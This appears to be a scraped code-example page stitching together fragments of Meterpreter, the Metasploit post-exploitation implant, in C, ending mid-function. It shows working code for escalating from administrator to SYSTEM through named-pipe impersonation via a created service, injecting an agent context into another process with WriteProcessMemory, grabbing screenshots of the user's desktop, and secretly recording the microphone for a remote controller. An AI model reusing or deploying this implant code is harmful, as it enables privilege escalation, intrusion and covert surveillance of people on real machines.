	BYTE bMessage[128]          = {0};
	DWORD dwBytes               = 0;

	do {
		if (!thread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
		}

		cpServicePipe = (char *)thread->parameter1;
		remote        = (Remote *)thread->parameter2;
		hSem          = (HANDLE)thread->parameter3;

		if (!cpServicePipe || !remote) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread.  invalid thread arguments",
				ERROR_BAD_ARGUMENTS);
		}

		dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);

		// create the named pipe for the client service to connect to
		hServerPipe = CreateNamedPipe(cpServicePipe,
			PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);

		if (!hServerPipe) {
			BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
		}

		while (TRUE) {
			if (event_poll(thread->sigterm, 0)) {
				BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received",
					ERROR_DBG_TERMINATE_THREAD);
			}

			//signal the client that the pipe is ready
                        if (hSem) {
                                if (!ReleaseSemaphore(hSem, 1, NULL)) {
				        BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
						ERROR_DBG_TERMINATE_THREAD);
				}
			}

			// wait for a client to connect to our named pipe...
			if (!ConnectNamedPipe(hServerPipe, NULL)) {
				if (GetLastError() != ERROR_PIPE_CONNECTED)
					continue;
			}

			dprintf("[ELEVATE] pipethread. got client conn.");

			// we can't impersonate a client untill we have performed a read on the pipe...
			if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
				CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
			}

			// impersonate the client!
			if (!ImpersonateNamedPipeClient(hServerPipe)) {
				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
			}

			// get a handle to this threads token
			if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
			}

			// now we can set the meterpreters thread token to that of our system
			// token so all subsequent meterpreter threads will use this token.
			core_update_thread_token(remote, hToken);

			dwResult = ERROR_SUCCESS;

			break;
		}

	} while (0);

	if (hServerPipe) {
		DisconnectNamedPipe(hServerPipe);
		CLOSE_HANDLE(hServerPipe);
	}

	dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);

	return dwResult;
}
/*
 * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local
 * system which then connects to our named pipe and we impersonate this client. This can be done by an
 * Administrator without the need for SeDebugPrivilege.  Works on 2000, XP, 2003 and 2008 for all local
 * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC
 * first. Does not work on NT4.
 */
DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
{
	DWORD dwResult              = ERROR_SUCCESS;
	char * cpServiceName        = NULL;
	THREAD * pThread            = NULL;
	HANDLE hSem                 = NULL;
	char cServiceArgs[MAX_PATH] = {0};
	char cServicePipe[MAX_PATH] = {0};
	OSVERSIONINFO os            = {0};

	do {
		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

		if (!GetVersionEx(&os)) {
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed")
		}

		// filter out Windows NT4
		if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
			SetLastError(ERROR_ACCESS_DENIED);
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
		}

		cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
		if (!cpServiceName) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments",
				ERROR_BAD_ARGUMENTS);
		}

		_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH,
			"\\\\.\\pipe\\%s", cpServiceName);

		_snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH,
			"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);

		hSem = CreateSemaphore(NULL, 0, 1, NULL);
		pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
		if (!pThread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed",
				ERROR_INVALID_HANDLE);
		}

		if (!thread_run(pThread)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed",
				ERROR_ACCESS_DENIED);
		}

		//wait for the thread to create the pipe(if it times out terminate)
                if (hSem) {
		        if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
			        BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
					ERROR_ACCESS_DENIED);
			}
                } else {
                        Sleep(500);
		}

		// start the elevator service (if it doesnt start first time we need to create it and then start it).
		if (service_start(cpServiceName) != ERROR_SUCCESS) {
			dprintf("[ELEVATE] service starting failed, attempting to create");
			if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
				BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
			}
			dprintf("[ELEVATE] creation of service succeeded, attempting to start");
			// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
			// a valid service and it will never signal to the service manager that is is a running service.
			service_start(cpServiceName);
		}

		// signal our thread to terminate if it is still running
		thread_sigterm(pThread);

		// and wait for it to terminate...
		thread_join(pThread);

		// get the exit code for our pthread
		dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
		if (!GetExitCodeThread(pThread->handle, &dwResult)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
				ERROR_INVALID_HANDLE);
		}
		dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);

	} while (0);
Beispiel #23
0
/*
 * A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream)
 */
DWORD WINAPI context_message_thread( LPVOID lpParameter )
{
    DWORD dwResult            = ERROR_SUCCESS;
    HANDLE hServerPipe        = NULL;
    BYTE * pBuffer            = NULL;
    char cNamedPipe[MAX_PATH] = {0};

    __try
    {
        do
        {
            _snprintf_s( cNamedPipe, MAX_PATH, MAX_PATH - 1, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName );

            dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe );

            hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL );
            if( !hServerPipe )
                BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" );

            while( TRUE )
            {
                struct _hdr {
                    DWORD dwMessage;
                    DWORD dwLength;
                } header = {0};
                DWORD dwTotal = 0;

                if( !ConnectNamedPipe( hServerPipe, NULL ) )
                {
                    if( GetLastError() != ERROR_PIPE_CONNECTED )
                        continue;
                }

                dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header );
                if( dwTotal != sizeof( struct _hdr ) )
                    BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE );

                pBuffer = (BYTE *)malloc( header.dwLength );
                if( !pBuffer )
                    BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE );

                dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer );
                if( dwTotal != header.dwLength )
                    BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE );

                DisconnectNamedPipe( hServerPipe );

                switch( header.dwMessage )
                {
                case MESSAGE_SETENCODING:
                    if( header.dwLength != sizeof(DWORD) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.dwEncoding = *(DWORD *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding );
                    break;
                case MESSAGE_SETPIXELFORMAT:
                    if( header.dwLength != sizeof(PIXELFORMAT) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) );
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" );
                    break;
                case MESSAGE_SETCOMPRESSLEVEL:
                    if( header.dwLength != sizeof(DWORD) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.dwCompressLevel = *(DWORD *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel );
                    break;
                case MESSAGE_SETQUALITYLEVEL:
                    if( header.dwLength != sizeof(DWORD) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.dwQualityLevel = *(DWORD *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel );
                    break;
                case MESSAGE_SETCOPYRECTUSE:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bUseCopyRect = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect );
                    break;
                case MESSAGE_SETENCODINGRICHCURSOR:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor );
                    break;
                case MESSAGE_SETENCODINGPOINTERPOS:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos );
                    break;
                case MESSAGE_SETENCODINGLASTRECT:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingLastRect = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect );
                    break;
                case MESSAGE_SETENCODINGNEWFBSIZE:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize );
                    break;
                case MESSAGE_SETENCODINGXCURSOR:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingXCursor = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor );
                    break;
                /*
                case MESSAGE_SETZLIBDICTIONARY:
                	if( header.dwLength < sizeof(DICTMSG) )
                	{
                		dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength );
                		break;
                	}
                	else
                	{
                		DICTMSG * dmsg = (DICTMSG *)pBuffer;
                		if( dmsg->dwId > 4 )
                		{
                			dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId );
                			break;
                		}

                		if( AgentContext.dictionaries[dmsg->dwId] )
                			free( AgentContext.dictionaries[dmsg->dwId] );

                		AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength );
                		if( !AgentContext.dictionaries[dmsg->dwId] )
                		{
                			dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" );
                			break;
                		}

                		AgentContext.dictionaries[dmsg->dwId]->dwId         = dmsg->dwId;
                		AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength;

                		memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength );

                		dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength );
                	}
                	break;
                */
                default:
                    dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage );
                    break;
                }

                if( pBuffer )
                {
                    free( pBuffer );
                    pBuffer = NULL;
                }
            }

        } while( 0 );
    }
    __except( EXCEPTION_EXECUTE_HANDLER )
    {
        dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" );
    }

    dprintf("[LOADER] loader_message_thread. thread finishing...");

    if( hServerPipe )
    {
        DisconnectNamedPipe( hServerPipe );
        CLOSE_HANDLE( hServerPipe );
    }

    if( pBuffer )
        free( pBuffer );

    return dwResult;
}
/*
 * Take a screenshot of this sessions default input desktop on WinSta0
 * and send it as a JPEG image to a named pipe.
 */
DWORD screenshot( int quality, DWORD dwPipeName )
{
	DWORD dwResult             = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation     = NULL;
	HWINSTA hOrigWindowStation = NULL;
	HDESK hInputDesktop        = NULL;
	HDESK hOrigDesktop         = NULL;
	HWND hDesktopWnd           = NULL;	
	HDC hdc                    = NULL;
	HDC hmemdc                 = NULL;
	HBITMAP hbmp               = NULL;
	BYTE * pJpegBuffer         = NULL;
	OSVERSIONINFO os           = {0};
	char cNamedPipe[MAX_PATH]  = {0};
	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
	int xmetric               = SM_CXVIRTUALSCREEN;
	int ymetric               = SM_CYVIRTUALSCREEN;
	DWORD dwJpegSize          = 0;
	int sx                    = 0;
	int sy                    = 0;

	do
	{
		_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
		
		// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
		if( os.dwMajorVersion <= 4 )
		{
			xmetric = SM_CXSCREEN;
			ymetric = SM_CYSCREEN;
		}
		
		// open the WinSta0 as some services are attached to a different window station.
		hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		if( !hWindowStation )
		{
			if( RevertToSelf() )
				hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		}
		
		// if we cant open the defaut input station we wont be able to take a screenshot
		if( !hWindowStation )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
		
		// get the current process's window station so we can restore it later on.
		hOrigWindowStation = GetProcessWindowStation();
		
		// set the host process's window station to this sessions default input station we opened
		if( !SetProcessWindowStation( hWindowStation ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );

		// get the threads current desktop so we can restore it later on
		hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );

		// and now we can grab a handle to this input desktop
		hDesktopWnd = GetDesktopWindow();

		// and get a DC from it so we can read its pixels!
		hdc = GetDC( hDesktopWnd );
		if( !hdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );

		// back up this DC with a memory DC
		hmemdc = CreateCompatibleDC( hdc );
		if( !hmemdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );

		// calculate the width and height
		sx = GetSystemMetrics( xmetric );
		sy = GetSystemMetrics( ymetric );

		// and create a bitmap
		hbmp = CreateCompatibleBitmap( hdc, sx, sy );
		if( !hbmp )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
		
		// this bitmap is backed by the memory DC
		if( !SelectObject( hmemdc, hbmp ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );

		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created 
		if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );

		// finally convert the BMP we just made into a JPEG...
		if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );

		// we have succeded
		dwResult = ERROR_SUCCESS;
		
	} while( 0 );

	// if we have successfully taken a screenshot we send it back via the named pipe
	// but if we have failed we send back a zero byte result to indicate this failure.
	if( dwResult == ERROR_SUCCESS )
		screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
	else
		screenshot_send( cNamedPipe, NULL, 0 );

	if( hdc )
		ReleaseDC( hDesktopWnd, hdc );

	if( hmemdc )
		DeleteDC( hmemdc );

	if( hbmp )
		DeleteObject( hbmp );

	// free the jpeg images buffer
	if( pJpegBuffer )
		free( pJpegBuffer );

	// restore the origional process's window station
	if( hOrigWindowStation )
		SetProcessWindowStation( hOrigWindowStation );

	// restore the threads origional desktop
	if( hOrigDesktop )
		SetThreadDesktop( hOrigDesktop );

	// close the WinSta0 window station handle we opened
	if( hWindowStation )
		CloseWindowStation( hWindowStation );

	// close this last to avoid a handle leak...
	if( hInputDesktop )
		CloseDesktop( hInputDesktop );

	return dwResult;
}
Beispiel #25
0
/*
 * A pre injection hook called before our dll has been injected into a process.
 */
DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )
{
	DWORD dwResult               = ERROR_SUCCESS;
	LPVOID lpMemory              = NULL;
	AGENT_CTX RemoteAgentContext = {0};
	int i                        = 0;

	do
	{
		if( !hProcess || !cpCommandLine )
			BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER );

		// Use User32!WaitForInputIdle to slow things down so if it's a new
		// process (like a new winlogon.exe) it can have a chance to initilize...
		// Bad things happen if we inject into an uninitilized process.
		WaitForInputIdle( hProcess, 10000 );

		CLOSE_HANDLE( hAgentCloseEvent );
		CLOSE_HANDLE( hAgentProcess );

		memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) );

		hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL );
		if( !hAgentCloseEvent )
			BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" );

		if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) )
			BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" )
		
		dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock );

		// Duplicate the socket for the target process
		if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR )
			BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" )
	
		// Allocate memory for the migrate stub, context and payload
		lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
		if( !lpMemory )
			BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" )
		
		/*for( i=0 ; i<4 ; i++ )
		{
			DWORD dwSize = 0;

			if( !AgentContext.dictionaries[i] )
				continue;
			
			dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength );

			RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
			if( !RemoteAgentContext.dictionaries[i] )
				continue;

			if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) )
				RemoteAgentContext.dictionaries[i] = NULL;
		}*/

		// Write the ctx to memory...
		if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) )
			BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" )

		hAgentProcess = hProcess;

		_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );

	} while( 0 );

	if( dwResult != ERROR_SUCCESS )
	{
		dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" );
		CLOSE_HANDLE( hAgentCloseEvent );
	}

	return dwResult;
}
/*
 * Post an arbitrary message back to a loader.
 */
DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength )
{
	DWORD dwResult            = ERROR_SUCCESS;
	HANDLE hPipe              = NULL;
	BYTE * pBuffer            = NULL;
	char cNamedPipe[MAX_PATH] = {0};
	DWORD dwWritten           = 0;
	DWORD dwLength            = 0;

	do
	{
		if( !lpAgentContext )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER );
		
		dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength;

		pBuffer = (BYTE *)malloc( dwLength );
		if( !pBuffer )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE );
				
		memcpy( pBuffer, &dwMessage, sizeof(DWORD) );
		memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) );
		memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength );

		if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE );

		_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName );

		dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength);

		while( TRUE )
		{
			hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
			if( hPipe != INVALID_HANDLE_VALUE )
				break;

			if( GetLastError() != ERROR_PIPE_BUSY )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" );

			if( !WaitNamedPipe( cNamedPipe, 20000 ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" );
		}
		
		if( dwResult == ERROR_SUCCESS )
		{
			if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" );
		}

	} while( 0 );

	CLOSE_HANDLE( hPipe );

	if( pBuffer )
		free( pBuffer );
		
	ReleaseMutex( hMessageMutex );

	return dwResult;
}
Beispiel #27
0
/*
 * Record from default audio device for X seconds.
 */
DWORD request_ui_record_mic( Remote * remote, Packet * request ){
	DWORD dwResult    = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE procHeap = GetProcessHeap();
	UINT seconds;
	DWORD chunkSize;
	DWORD subChunk1Size;
	WAVEFORMATEX wavFormat;
	WAVEFORMATEX wf;
	HWAVEIN hWavIn;
	WAVEHDR wh;

	do{
		response = packet_create_response( request );
		if( !response )
			BREAK_WITH_ERROR( "request_ui_record_mic: packet_create_response failed", ERROR_INVALID_HANDLE )

		//Get duration to record, and reallocate if necessary
		seconds = packet_get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION);
		if( buffersize == 0 || buffersize != 11025 * seconds){
			buffersize = 11025 * seconds;
			riffsize = buffersize + 44;
			if (recordBuffer != NULL)
				HeapFree(procHeap, 0, recordBuffer);
			recordBuffer = (PBYTE)HeapAlloc(procHeap, HEAP_ZERO_MEMORY, buffersize);
			if (sendBuffer != NULL)
				HeapFree(sendBuffer, 0, recordBuffer);
			sendBuffer = (PBYTE)HeapAlloc(procHeap, HEAP_ZERO_MEMORY, riffsize);
			if (recordBuffer == NULL || sendBuffer == NULL)
				BREAK_WITH_ERROR("request_ui_record_mic: Allocation failed", GetLastError())
			dataBuffer = sendBuffer + 44;
		}

		//Create file header
		memcpy(sendBuffer, "RIFF", 4);
		chunkSize = buffersize + 36;
		memcpy(sendBuffer+4, &chunkSize, 4);
		memcpy(sendBuffer+8, "WAVE", 4);

		//Subchunk1
		memcpy(sendBuffer+12, "fmt ", 4);
		subChunk1Size = 16;
		memcpy(sendBuffer+16, &subChunk1Size, 4);
		wavFormat.wFormatTag = 1;
		wavFormat.nChannels = 1;
		wavFormat.nSamplesPerSec = 11025;
		wavFormat.nAvgBytesPerSec = 11025;
		wavFormat.nBlockAlign = 1;
		wavFormat.wBitsPerSample = 8;
		memcpy(sendBuffer+20, &wavFormat, 16);

		//Subchunk 2
		memcpy(sendBuffer+36, "data", 4);
		memcpy(sendBuffer+40, &buffersize, 4);

		// Set up WAVEFORMATEX for recording 11 kHz 8-bit mono. Not reusing wavFormat because this uses the cbSize member
		wf.wFormatTag = WAVE_FORMAT_PCM;
		wf.nChannels = 1;
		wf.nSamplesPerSec = 11025L;
		wf.nAvgBytesPerSec = 11025L;
		wf.nBlockAlign = 1;
		wf.wBitsPerSample = 8;
		wf.cbSize = 0;
		dwResult = (DWORD)waveInOpen(&hWavIn, WAVE_MAPPER, &wf, (DWORD_PTR)&waveInProc, (DWORD_PTR)NULL, CALLBACK_FUNCTION);
		if(dwResult != MMSYSERR_NOERROR)
			BREAK_WITH_ERROR("request_ui_record_mic: WaveInOpen failed", dwResult) //Open failed
		wh.lpData = (LPSTR)recordBuffer;
		wh.dwBufferLength = buffersize;
		wh.dwFlags = 0;
		waveInPrepareHeader(hWavIn, &wh, sizeof(wh));
		waveInAddBuffer(hWavIn, &wh, sizeof(wh));
		recordMicEvent = CreateEvent(
			NULL,               // default security attributes
			FALSE,               // auto-reset event
			FALSE,              // initial state is nonsignaled
			NULL);  // no object name
		dwResult = (DWORD)waveInStart(hWavIn);
		if(dwResult != MMSYSERR_NOERROR)
			BREAK_WITH_ERROR("request_ui_record_mic: WaveInStart failed", dwResult)
		WaitForSingleObject(recordMicEvent, seconds * 1000 + 1000);
		dwResult = (DWORD)waveInStop(hWavIn);//seems to wait for buffer to complete
		if(dwResult != MMSYSERR_NOERROR)
			BREAK_WITH_ERROR("request_ui_record_mic: WaveInStop failed", dwResult)
		packet_add_tlv_raw(response, (TlvType)(TLV_TYPE_AUDIO_DATA|TLV_META_TYPE_COMPRESSED), sendBuffer, riffsize);
	} while( 0 );

	packet_transmit_response( dwResult, remote, response );

	return ERROR_SUCCESS;
}
Beispiel #28
0
/*
 * Writes data from the remote half of the channel to the established connection.
 */
DWORD tcp_channel_client_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
	DWORD dwResult         = ERROR_SUCCESS;
	TcpClientContext * ctx = NULL;
	LONG written           = 0;

	do
	{
		dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );

		ctx = (TcpClientContext *)context;
		if( !ctx )
			BREAK_WITH_ERROR( "[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE );

		written = send( ctx->fd, buffer, bufferSize, 0 );

		if( written == SOCKET_ERROR )
		{
			dwResult = WSAGetLastError();

			if( dwResult == WSAEWOULDBLOCK )
			{
				struct timeval tv = {0};
				fd_set set        = {0};
				DWORD res         = 0;

